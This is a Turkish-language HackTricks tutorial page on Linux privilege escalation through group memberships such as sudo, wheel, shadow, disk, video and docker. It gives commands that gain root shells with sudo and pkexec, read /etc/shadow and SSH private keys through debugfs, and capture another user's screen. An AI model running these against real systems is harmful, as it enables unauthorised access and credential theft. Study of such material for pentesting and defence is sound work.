hacktricks/linux-unix/privilege-escalation/interesting-groups-linux-pe.md

8.1 KiB
Raw Blame History

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Sudo/Admin Grupları

PE - Yöntem 1

Bazen, varsayılan olarak (ya da bazı yazılımlar bunu gerektirdiği için) /etc/sudoers dosyası içinde bu satırlardan bazılarını bulabilirsiniz:

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL

Bu, sudo veya admin grubuna ait olan herhangi bir kullanıcının sudo olarak her şeyi çalıştırabileceği anlamına gelir.

Eğer durum böyleyse, root olmak için sadece şunu çalıştırabilirsiniz:

sudo su

PE - Yöntem 2

Tüm suid ikili dosyalarını bulun ve Pkexec ikili dosyasının olup olmadığını kontrol edin:

find / -perm -4000 2>/dev/null

Eğer pkexec ikili dosyasının SUID ikili dosyası olduğunu ve sudo veya admin grubuna ait olduğunuzu bulursanız, muhtemelen pkexec kullanarak ikili dosyaları sudo olarak çalıştırabilirsiniz. İçeriği kontrol edin:

cat /etc/polkit-1/localauthority.conf.d/*

Orada hangi grupların pkexec çalıştırmasına izin verildiğini ve bazı Linux sistemlerinde varsayılan olarak sudo veya admin gibi grupların görünebileceğini bulacaksınız.

root olmak için şunu çalıştırabilirsiniz:

pkexec "/bin/sh" #You will be prompted for your user password

Eğer pkexec komutunu çalıştırmaya çalışırsanız ve bu hata ile karşılaşırsanız:

polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

İzinleriniz olmadığı için değil, GUI olmadan bağlı olmadığınız için. Bu sorun için bir çözüm burada: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. 2 farklı ssh oturumuna ihtiyacınız var:

{% code title="session1" %}

echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session

{% endcode %}

{% code title="session2" %}

pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec

{% endcode %}

Wheel Grubu

Bazen, varsayılan olarak /etc/sudoers dosyası içinde bu satırı bulabilirsiniz:

%wheel	ALL=(ALL:ALL) ALL

Bu, wheel grubuna ait olan herhangi bir kullanıcının sudo olarak her şeyi çalıştırabileceği anlamına gelir.

Eğer durum böyleyse, root olmak için sadece şunu çalıştırabilirsiniz:

sudo su

Shadow Grubu

shadow grubundaki kullanıcılar /etc/shadow dosyasını okuyabilir:

-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow

So, read the file and try to crack some hashes.

Disk Group

Bu ayrıcalık neredeyse root erişimi ile eşdeğerdir çünkü makinenin içindeki tüm verilere erişebilirsiniz.

Dosyalar:/dev/sd[a-z][1-9]

debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

Not edin ki debugfs kullanarak dosya yazabilirsiniz. Örneğin, /tmp/asd1.txt dosyasını /tmp/asd2.txt dosyasına kopyalamak için şunu yapabilirsiniz:

debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt

Ancak, eğer root tarafından sahip olunan dosyaları yazmaya çalışırsanız örneğin `/etc/shadow` veya `/etc/passwd` "İzin reddedildi" hatası alırsınız.

Video Grubu

w komutunu kullanarak sistemde kimin oturum açtığını bulabilirsiniz ve aşağıdaki gibi bir çıktı gösterecektir:

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yossi    tty1                      22:16    5:13m  0.05s  0.04s -bash
moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash

tty1, kullanıcının yossi'nin makinedeki bir terminale fiziksel olarak giriş yaptığını gösterir.

video grubu, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın şu anki görüntüsünü ham veri olarak almanız ve ekranın kullandığı çözünürlüğü öğrenmeniz gerekir. Ekran verileri /dev/fb0'da saklanabilir ve bu ekranın çözünürlüğünü /sys/class/graphics/fb0/virtual_size'da bulabilirsiniz.

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

Ham görüntüyü açmak için GIMP kullanabilir, screen.raw dosyasını seçebilir ve dosya türü olarak Ham görüntü verisi seçebilirsiniz:

Ardından, Genişlik ve Yükseklik değerlerini ekranda kullanılanlarla değiştirin ve farklı Görüntü Türlerini kontrol edin ve ekranı daha iyi göstereni seçin:

Root Grubu

Görünüşe göre varsayılan olarak root grubunun üyeleri, bazı hizmet yapılandırma dosyalarını veya bazı kütüphane dosyalarını veya ayrıcalıkları artırmak için kullanılabilecek diğer ilginç şeyleri değiştirme erişimine sahip olabilir...

Root üyelerinin hangi dosyaları değiştirebileceğini kontrol edin:

find / -group root -perm -g=w 2>/dev/null

Docker Grubu

Ana makinenin kök dosya sistemini bir örneğin hacmine monte edebilirsiniz, böylece örnek başladığında hemen o hacme chroot yükler. Bu, makinede size kök erişimi sağlar.

{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}

{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}

lxc/lxd Grubu

lxc - Yetki Yükseltme

{% hint style="success" %} AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}